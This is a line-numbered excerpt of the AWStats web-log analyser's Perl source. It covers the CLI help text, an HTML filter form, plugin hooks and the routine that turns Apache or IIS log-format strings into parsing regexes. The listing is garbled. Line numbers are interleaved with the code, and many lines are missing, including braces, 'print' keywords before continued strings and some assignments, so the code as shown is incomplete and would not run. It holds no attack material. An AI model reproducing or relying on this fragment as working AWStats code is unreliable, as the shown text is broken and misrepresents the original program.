sub Convert_IP_To_Decimal {
8421
my ($IPAddress) = @_;
8422
my @ip_seg_arr = split( /\./, $IPAddress );
8423
my $decimal_ip_address =
8424
256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
8425
$ip_seg_arr[2] + $ip_seg_arr[3];
8426
return ($decimal_ip_address);
8429
#------------------------------------------------------------------------------
8430
# Function: Test there is at least one value in list not null
8431
# Parameters: List of values
8434
# Return: 1 There is at least one not null value, 0 else
8435
#------------------------------------------------------------------------------
8436
sub AtLeastOneNotNull {
8438
debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
8440
foreach my $val (@_) {
8441
if ($val) { return 1; }
8446
#------------------------------------------------------------------------------
8447
# Function: Prints the command line interface help information
8452
#------------------------------------------------------------------------------
8455
'browsers', 'domains', 'operating_systems', 'robots',
8456
'search_engines', 'worms'
8458
print "----- $PROG $VERSION (c) 2000-2010 Laurent Destailleur -----\n";
8460
"AWStats is a free web server logfile analyzer to show you advanced web\n";
8461
print "statistics.\n";
8463
"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
8464
print "with a GNU General Public License (See LICENSE file for details).\n";
8466
print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
8469
" This runs $PROG in command line to update statistics (-update option) of a\n";
8471
" web site, from the log file defined in AWStats config file, or build a HTML\n";
8472
print " report (-output option).\n";
8474
" First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
8475
print " If not found, $PROG tries to read $PROG.conf, and finally the full path passed to -config=\n";
8477
" Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
8479
" in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
8480
print " awstats.pl script file.\n";
8482
" Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
8484
" use it as the \"config\" value, whatever is the value on command line or URL.\n";
8485
print " See AWStats documentation for all setup instrutions.\n";
8487
print "Options to update statistics:\n";
8488
print " -update to update statistics (default)\n";
8490
" -showsteps to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
8492
" -showcorrupted to add output for each corrupted lines found, with reason\n";
8494
" -showdropped to add output for each dropped lines found, with reason\n";
8495
print " -showunknownorigin to output referer when it can't be parsed\n";
8497
" -showdirectorigin to output log line when origin is a direct access\n";
8498
print " -updatefor=n to stop the update process after parsing n lines\n";
8500
" -LogFile=x to change log to analyze whatever is 'LogFile' in config file\n";
8502
" Be care to process log files in chronological order when updating statistics.\n";
8504
print "Options to show statistics:\n";
8506
" -output to output main HTML report (no update made except with -update)\n";
8507
print " -output=x to output other report pages where x is:\n";
8509
" alldomains to build page of all domains/countries\n";
8510
print " allhosts to build page of all hosts\n";
8512
" lasthosts to build page of last hits for hosts\n";
8514
" unknownip to build page of all unresolved IP\n";
8516
" allemails to build page of all email senders (maillog)\n";
8518
" lastemails to build page of last email senders (maillog)\n";
8520
" allemailr to build page of all email receivers (maillog)\n";
8522
" lastemailr to build page of last email receivers (maillog)\n";
8523
print " alllogins to build page of all logins used\n";
8525
" lastlogins to build page of last hits for logins\n";
8527
" allrobots to build page of all robots/spider visits\n";
8529
" lastrobots to build page of last hits for robots\n";
8530
print " urldetail to list most often viewed pages \n";
8532
" urldetail:filter to list most often viewed pages matching filter\n";
8533
print " urlentry to list entry pages\n";
8535
" urlentry:filter to list entry pages matching filter\n";
8536
print " urlexit to list exit pages\n";
8538
" urlexit:filter to list exit pages matching filter\n";
8540
" osdetail to build page with os detailed versions\n";
8542
" browserdetail to build page with browsers detailed versions\n";
8544
" unknownbrowser to list 'User Agents' with unknown browser\n";
8546
" unknownos to list 'User Agents' with unknown OS\n";
8548
" refererse to build page of all refering search engines\n";
8550
" refererpages to build page of all refering pages\n";
8552
#print " referersites to build page of all refering sites\n";
8554
" keyphrases to list all keyphrases used on search engines\n";
8556
" keywords to list all keywords used on search engines\n";
8557
print " errors404 to list 'Referers' for 404 errors\n";
8559
" allextraX to build page of all values for ExtraSection X\n";
8560
print " -staticlinks to have static links in HTML report page\n";
8561
print " -staticlinksext=xxx to have static links with .xxx extension instead of .html\n";
8563
" -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
8564
print " -month=MM to output a HTML report for an old month MM\n";
8565
print " -year=YYYY to output a HTML report for an old year YYYY\n";
8567
" The 'date' options doesn't allow you to process old log file. They only\n";
8569
" allow you to see a past report for a chosen month/year period instead of\n";
8570
print " current month/year.\n";
8572
print "Other options:\n";
8574
" -debug=X to add debug informations lesser than level X (speed reduced)\n";
8576
print "Now supports/detects:\n";
8578
" Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
8579
print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
8580
print " Number of visits, number of unique visitors\n";
8581
print " Visits duration and list of last visits\n";
8582
print " Authenticated users\n";
8583
print " Days of week and rush hours\n";
8584
print " Hosts list and unresolved IP addresses list\n";
8585
print " Most viewed, entry and exit pages\n";
8586
print " Files type and Web compression (mod_gzip, mod_deflate stats)\n";
8587
print " Screen size\n";
8588
print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
8589
print " Quicktime reader, WMA reader, PDF reader\n";
8590
print " Configurable personalized reports\n";
8591
print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
8592
print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
8593
print " " . ( scalar keys %WormsHashLib ) . " worm's families\n";
8594
print " " . ( scalar keys %OSHashLib ) . " operating systems\n";
8595
print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
8596
&Read_Ref_Data('browsers_phone');
8598
. ( scalar keys %BrowsersHashIDLib )
8599
. " with phone browsers database)\n";
8601
. ( scalar keys %SearchEnginesHashLib )
8602
. " search engines (and keyphrases/keywords used from them)\n";
8603
print " All HTTP errors with last referrer\n";
8604
print " Report by day/month/year\n";
8605
print " Dynamic or static HTML or XHTML reports, static PDF reports\n";
8606
print " Indexed text or XML monthly database\n";
8607
print " And a lot of other advanced features and options...\n";
8608
print "New versions and FAQ at http://awstats.sourceforge.net\n";
8611
#------------------------------------------------------------------------------
8612
# Function: Return the string to add in html tag to include popup javascript code
8613
# Parameters: tooltip number
8616
# Return: string with javascript code
8617
#------------------------------------------------------------------------------
8622
? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
8627
#------------------------------------------------------------------------------
8628
# Function: Insert a form filter
8629
# Parameters: Name of filter field, default for filter field, default for exclude filter field
8630
# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig
8633
#------------------------------------------------------------------------------
8634
sub HTMLShowFormFilter {
8635
my $fieldfiltername = shift;
8636
my $fieldfilterinvalue = shift;
8637
my $fieldfilterexvalue = shift;
8638
if ( !$StaticLinks ) {
8639
my $NewLinkParams = ${QueryString};
8640
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
8641
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
8642
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
8643
$NewLinkParams =~ s/(&|&)+/&/i;
8644
$NewLinkParams =~ s/^&//;
8645
$NewLinkParams =~ s/&$//;
8646
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
8647
print "\n<form name=\"FormFilter\" action=\""
8648
. XMLEncode("$AWScript${NewLinkParams}")
8649
. "\" class=\"aws_border\">\n";
8651
"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
8652
print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n";
8654
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
8655
print "<td> </td>";
8656
print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n";
8658
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
8660
print "<input type=\"hidden\" name=\"output\" value=\""
8661
. join( ',', keys %HTMLOutput )
8666
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
8670
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
8672
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
8673
print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
8675
if ( $QueryString =~ /(^|&|&)month=(\d\d)/i
8676
|| $QueryString =~ /(^|&|&)month=(all)/i )
8678
print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
8680
if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) {
8681
print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
8683
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) {
8684
print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
8686
if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) {
8687
print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
8690
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
8691
print "<td> </td>";
8692
print "</tr></table>\n";
8699
#------------------------------------------------------------------------------
8700
# Function: Write other user info (with help of plugin)
8702
# Input: $SiteConfig
8705
#------------------------------------------------------------------------------
8706
sub HTMLShowUserInfo {
8709
# Call to plugins' function ShowInfoUser
8710
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
8712
# my $function="ShowInfoUser_$pluginname('$user')";
8713
# eval("$function");
8714
my $function = "ShowInfoUser_$pluginname";
8719
#------------------------------------------------------------------------------
8720
# Function: Write other cluster info (with help of plugin)
8721
# Parameters: $clusternb
8722
# Input: $SiteConfig
8723
# Output: Cluster info
8725
#------------------------------------------------------------------------------
8726
sub HTMLShowClusterInfo {
8727
my $cluster = shift;
8729
# Call to plugins' function ShowInfoCluster
8730
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
8733
# my $function="ShowInfoCluster_$pluginname('$user')";
8734
# eval("$function");
8735
my $function = "ShowInfoCluster_$pluginname";
8736
&$function($cluster);
8740
#------------------------------------------------------------------------------
8741
# Function: Write other host info (with help of plugin)
8743
# Input: $LinksToWhoIs $LinksToWhoIsIp
8746
#------------------------------------------------------------------------------
8747
sub HTMLShowHostInfo {
8750
# Call to plugins' function ShowInfoHost
8751
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
8753
# my $function="ShowInfoHost_$pluginname('$host')";
8754
# eval("$function");
8755
my $function = "ShowInfoHost_$pluginname";
8760
#------------------------------------------------------------------------------
8761
# Function: Write other url info (with help of plugin)
8763
# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
8766
#------------------------------------------------------------------------------
8767
sub HTMLShowURLInfo {
8769
my $nompage = CleanXSS($url);
8771
# Call to plugins' function ShowInfoURL
8772
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
8774
# my $function="ShowInfoURL_$pluginname('$url')";
8775
# eval("$function");
8776
my $function = "ShowInfoURL_$pluginname";
8780
if ( length($nompage) > $MaxLengthOfShownURL ) {
8781
$nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
8783
if ($ShowLinksOnUrl) {
8784
my $newkey = CleanXSS($url);
8785
if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file
8786
if ( $newkey =~ /^http(s|):/i )
8787
{ # URL seems to be extracted from a proxy log file
8789
. XMLEncode("$newkey")
8790
. "\" target=\"url\">"
8791
. XMLEncode($nompage) . "</a>";
8793
elsif ( $newkey =~ /^\// )
8794
{ # URL seems to be an url extracted from a web or wap server log file
8795
$newkey =~ s/^\/$SiteDomain//i;
8798
my $urlprot = 'http';
8799
if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
8804
. XMLEncode("$urlprot://$SiteDomain$newkey")
8805
. "\" target=\"url\">"
8806
. XMLEncode($nompage) . "</a>";
8809
print XMLEncode($nompage);
8812
elsif ( $LogType eq 'F' ) { # Ftp log file
8813
print XMLEncode($nompage);
8815
elsif ( $LogType eq 'M' ) { # Smtp log file
8816
print XMLEncode($nompage);
8818
else { # Other type log file
8819
print XMLEncode($nompage);
8823
print XMLEncode($nompage);
8827
#------------------------------------------------------------------------------
8828
# Function: Define value for PerlParsingFormat (used for regex log record parsing)
8829
# Parameters: $LogFormat
8831
# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
8833
#------------------------------------------------------------------------------
8834
sub DefinePerlParsingFormat {
8835
my $LogFormat = shift;
8836
$pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
8837
$pos_url = $pos_code = $pos_size = -1;
8838
$pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
8839
$pos_compratio = -1;
8840
$pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1;
8843
$PerlParsingFormat = '';
8845
# Log records examples:
8846
# Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
8847
# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
8848
# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
8849
# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
8850
# IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
8851
# WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133
8852
# Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
8854
# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
8855
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
8856
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
8859
"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
8862
if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format
8863
if ( $LogFormat eq '1' || $LogFormat eq '6' )
8864
{ # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
8865
# %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
8867
# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8868
$PerlParsingFormat =
8869
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8880
'host', 'logname', 'date', 'method', 'url', 'code',
8881
'size', 'referer', 'ua'
8884
elsif ( $LogFormat eq '2' )
8885
{ # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
8886
$PerlParsingFormat =
8887
"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
8898
'date', 'host', 'logname', 'method', 'url', 'code',
8899
'size', 'ua', 'referer'
8902
elsif ( $LogFormat eq '3' ) {
8903
$PerlParsingFormat =
8904
"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
8914
'date', 'method', 'code', 'host',
8915
'ua', 'referer', 'url', 'size'
8918
elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b"
8919
# %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
8920
$PerlParsingFormat =
8921
"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
8930
( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
8933
else { # Personalized log format
8934
my $LogFormatString = $LogFormat;
8936
# Replacement for Notes format string that are not Apache
8937
$LogFormatString =~ s/%vh/%virtualname/g;
8939
# Replacement for Apache format string
8940
$LogFormatString =~ s/%v(\s)/%virtualname$1/g;
8941
$LogFormatString =~ s/%v$/%virtualname/g;
8942
$LogFormatString =~ s/%h(\s)/%host$1/g;
8943
$LogFormatString =~ s/%h$/%host/g;
8944
$LogFormatString =~ s/%l(\s)/%other$1/g;
8945
$LogFormatString =~ s/%l$/%other/g;
8946
$LogFormatString =~ s/\"%u\"/%lognamequot/g;
8947
$LogFormatString =~ s/%u(\s)/%logname$1/g;
8948
$LogFormatString =~ s/%u$/%logname/g;
8949
$LogFormatString =~ s/%t(\s)/%time1$1/g;
8950
$LogFormatString =~ s/%t$/%time1/g;
8951
$LogFormatString =~ s/\"%r\"/%methodurl/g;
8952
$LogFormatString =~ s/%>s/%code/g;
8953
$LogFormatString =~ s/%b(\s)/%bytesd$1/g;
8954
$LogFormatString =~ s/%b$/%bytesd/g;
8955
$LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g;
8956
$LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g;
8957
$LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g;
8958
$LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g;
8959
$LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g;
8960
$LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g;
8962
# Replacement for a IIS and ISA format string
8963
$LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri
8964
$LogFormatString =~ s/date\stime/%time2/g;
8965
$LogFormatString =~ s/c-ip/%host/g;
8966
$LogFormatString =~ s/cs-username/%logname/g;
8967
$LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR
8968
$LogFormatString =~ s/cs-uri-stem/%url/g;
8969
$LogFormatString =~ s/cs-uri/%url/g;
8970
$LogFormatString =~ s/sc-status/%code/g;
8971
$LogFormatString =~ s/sc-bytes/%bytesd/g;
8972
$LogFormatString =~ s/cs-version/%other/g; # Protocol
8973
$LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
8974
$LogFormatString =~ s/c-agent/%ua/g;
8975
$LogFormatString =~ s/cs\(Referer\)/%referer/g;
8976
$LogFormatString =~ s/cs-referred/%referer/g;
8977
$LogFormatString =~ s/sc-authenticated/%other/g;
8978
$LogFormatString =~ s/s-svcname/%other/g;
8979
$LogFormatString =~ s/s-computername/%other/g;
8980
$LogFormatString =~ s/r-host/%virtualname/g;
8981
$LogFormatString =~ s/cs-host/%virtualname/g;
8982
$LogFormatString =~ s/r-ip/%other/g;
8983
$LogFormatString =~ s/r-port/%other/g;
8984
$LogFormatString =~ s/time-taken/%other/g;
8985
$LogFormatString =~ s/cs-bytes/%other/g;
8986
$LogFormatString =~ s/cs-protocol/%other/g;
8987
$LogFormatString =~ s/cs-transport/%other/g;
8989
s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR
8990
$LogFormatString =~ s/cs-mime-type/%other/g;
8991
$LogFormatString =~ s/s-object-source/%other/g;
8992
$LogFormatString =~ s/s-cache-info/%other/g;
8993
$LogFormatString =~ s/cluster-node/%cluster/g;
8994
$LogFormatString =~ s/s-sitename/%other/g;
8995
$LogFormatString =~ s/s-ip/%other/g;
8996
$LogFormatString =~ s/s-port/%other/g;
8997
$LogFormatString =~ s/cs\(Cookie\)/%other/g;
8998
$LogFormatString =~ s/sc-substatus/%other/g;
8999
$LogFormatString =~ s/sc-win32-status/%other/g;
9004
s/protocol/%protocolmms/g; # cs-method might not be available
9006
s/c-status/%codemms/g; # c-status used when sc-status not available
9007
if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
9009
# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
9011
my $LogSeparatorWithoutStar = $LogSeparator;
9012
$LogSeparatorWithoutStar =~ s/[\*\+]//g;
9013
foreach my $f ( split( /\s+/, $LogFormatString ) ) {
9015
# Add separator for next field
9016
if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
9018
# Special for logname
9019
if ( $f =~ /%lognamequot$/ ) {
9022
push @fieldlib, 'logname';
9023
$PerlParsingFormat .=
9024
"\\\"?([^\\\"]*)\\\"?"
9025
; # logname can be "value", "" and - in same log (Lotus notes)
9027
elsif ( $f =~ /%logname$/ ) {
9030
push @fieldlib, 'logname';
9032
# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
9033
$PerlParsingFormat .= "([^\\/\\[]+)";
9037
elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
9038
{ # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility
9041
push @fieldlib, 'date';
9044
push @fieldlib, 'tz';
9045
$PerlParsingFormat .=
9046
"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
9048
elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss
9051
push @fieldlib, 'date';
9052
$PerlParsingFormat .=
9053
"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"
9054
; # Need \s for Exchange log files
9056
elsif ( $f =~ /%time3$/ )
9057
{ # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy
9060
push @fieldlib, 'date';
9061
$PerlParsingFormat .=
9062
"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
9064
elsif ( $f =~ /%time4$/ ) { # ddddddddddddd
9067
push @fieldlib, 'date';
9068
$PerlParsingFormat .= "(\\d+)";
9071
# Special for methodurl and methodurlnoprot
9072
elsif ( $f =~ /%methodurl$/ ) {
9075
push @fieldlib, 'method';
9078
push @fieldlib, 'url';
9079
$PerlParsingFormat .=
9081
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
9082
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
9084
elsif ( $f =~ /%methodurlnoprot$/ ) {
9087
push @fieldlib, 'method';
9090
push @fieldlib, 'url';
9091
$PerlParsingFormat .=
9092
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
9095
# Common command tags
9096
elsif ( $f =~ /%virtualnamequot$/ ) {
9099
push @fieldlib, 'vhost';
9100
$PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
9102
elsif ( $f =~ /%virtualname$/ ) {
9105
push @fieldlib, 'vhost';
9106
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9108
elsif ( $f =~ /%host_r$/ ) {
9111
push @fieldlib, 'hostr';
9112
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9114
elsif ( $f =~ /%host$/ ) {
9117
push @fieldlib, 'host';
9118
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9120
elsif ( $f =~ /%host_proxy$/ )
9121
{ # if host_proxy tag used, host tag must not be used
9124
push @fieldlib, 'host';
9125
$PerlParsingFormat .= "(.+?)(?:, .*)*";
9127
elsif ( $f =~ /%method$/ ) {
9130
push @fieldlib, 'method';
9131
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9133
elsif ( $f =~ /%url$/ ) {
9136
push @fieldlib, 'url';
9137
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9139
elsif ( $f =~ /%query$/ ) {
9142
push @fieldlib, 'query';
9143
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9145
elsif ( $f =~ /%code$/ ) {
9148
push @fieldlib, 'code';
9149
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9151
elsif ( $f =~ /%bytesd$/ ) {
9154
push @fieldlib, 'size';
9155
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9157
elsif ( $f =~ /%refererquot$/ ) {
9160
push @fieldlib, 'referer';
9161
$PerlParsingFormat .=
9162
"\\\"([^\\\"]*)\\\""; # referer might be ""
9164
elsif ( $f =~ /%referer$/ ) {
9167
push @fieldlib, 'referer';
9168
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9170
elsif ( $f =~ /%uaquot$/ ) {
9173
push @fieldlib, 'ua';
9174
$PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be ""
9176
elsif ( $f =~ /%uabracket$/ ) {
9179
push @fieldlib, 'ua';
9180
$PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be []
9182
elsif ( $f =~ /%ua$/ ) {
9185
push @fieldlib, 'ua';
9186
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9188
elsif ( $f =~ /%gzipin$/ ) {
9191
push @fieldlib, 'gzipin';
9192
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9194
elsif ( $f =~ /%gzipout/ )
9195
{ # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
9198
push @fieldlib, 'gzipout';
9199
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9201
elsif ( $f =~ /%gzipratio/ )
9202
{ # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
9203
$pos_compratio = $i;
9205
push @fieldlib, 'gzipratio';
9206
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9208
elsif ( $f =~ /%deflateratio/ )
9209
{ # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
9210
$pos_compratio = $i;
9212
push @fieldlib, 'deflateratio';
9213
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9215
elsif ( $f =~ /%email_r$/ ) {
9218
push @fieldlib, 'email_r';
9219
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9221
elsif ( $f =~ /%email$/ ) {
9224
push @fieldlib, 'email';
9225
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9227
elsif ( $f =~ /%cluster$/ ) {
9230
push @fieldlib, 'clusternb';
9231
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9233
elsif ( $f =~ /%timetaken$/ ) {
9234
$pos_timetaken = $i;
9236
push @fieldlib, 'timetaken';
9237
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9240
# Special for protocolmms, used for method if method not already found (for MMS)
9241
elsif ( $f =~ /%protocolmms$/ ) {
9242
if ( $pos_method < 0 ) {
9245
push @fieldlib, 'method';
9246
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9250
# Special for codemms, used for code only if code not already found (for MMS)
9251
elsif ( $f =~ /%codemms$/ ) {
9252
if ( $pos_code < 0 ) {
9255
push @fieldlib, 'code';
9256
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9261
elsif ( $f =~ /%extra(\d+)$/ ) {
9262
$pos_extra[$1] = $i;
9264
push @fieldlib, "extra$1";
9265
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
9269
elsif ( $f =~ /%other$/ ) {
9270
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
9272
elsif ( $f =~ /%otherquot$/ ) {
9273
$PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
9276
# Unknown tag (no parenthesis)
9278
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
9281
if ( !$PerlParsingFormat ) {
9282
error("No recognized format tag in personalized LogFormat string");
9285
if ( $pos_host < 0 ) {
9287
"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
9290
if ( $pos_date < 0 ) {
9292
"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
9295
if ( $pos_method < 0 ) {
9297
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
9300
if ( $pos_url < 0 ) {
9302
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
9305
